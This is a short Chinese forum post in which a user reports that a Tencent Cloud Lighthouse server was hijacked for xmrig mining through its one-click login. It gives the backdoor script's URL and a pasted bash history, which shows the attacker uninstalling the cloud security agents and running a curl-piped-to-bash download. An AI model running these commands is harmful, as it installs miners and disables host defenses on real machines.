腾讯云轻量漏洞被拿去xmrig挖矿实锤了

94次阅读

共计 691 个字符，预计需要花费 2 分钟才能阅读完成。

前帖：https://hostloc.com/thread-1021600-1-1.html

轻量后台有个一键登陆的锅

后门脚本：https://5.linshi.co/ww80.sh

找到 lighthouse 日志看到的
由于权限有限，所以除了挖矿搞不了啥，把一键登录关了，删了挖矿就好了。

#1651856332
sudo -i
#1651856364
/usr/local/qcloud/stargate/admin/uninstall.sh
#1651856364
/usr/local/qcloud/YunJing/uninst.sh
#1651856364
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
#1651856364
sudo -i
#1651856368
exit
#1651856382
curl -s -L https://5.linshi.co/ww80.sh | bash -s 100023489107
#1651856398
mv moneroocean .moneroocean
#1651856408
lsls
#1651856422
ls -a
#1653293830
w
#1653293952
exit